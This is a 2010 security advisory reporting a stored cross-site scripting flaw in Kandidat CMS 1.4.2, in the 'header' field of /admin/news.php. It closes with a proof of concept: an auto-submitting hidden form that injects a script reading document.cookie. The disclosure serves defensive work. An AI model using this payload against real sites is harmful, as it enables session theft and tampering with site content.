XSS vulnerability in Kandidat CMS

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB22650
Reference: 
http://www.htbridge.ch/advisory/xss_vulnerability_in_kandidat_cms_2.html
Product: Kandidat CMS
Vendor: Kan-Studio ( http://www.kan-studio.ru/ ) 
Vulnerable Version: 1.4.2 and probably prior versions
Vendor Notification: 19 October 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/news.php" script to 
properly sanitize user-supplied input in "header" variable. Successful 
exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or 
modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://host/admin/news.php?edit=NEWS_ID"; method="post" 
name="main">
<input type="hidden" name="header" 
value='newsheader"><script>alert(document.cookie)</script>'>
<input type="hidden" name="message" value="message">
<input type="hidden" name="extramessage" value="extramessage">
<input type="hidden" name="newsdoing" value="Submit">
</form>
<script>
document.main.submit();
</script>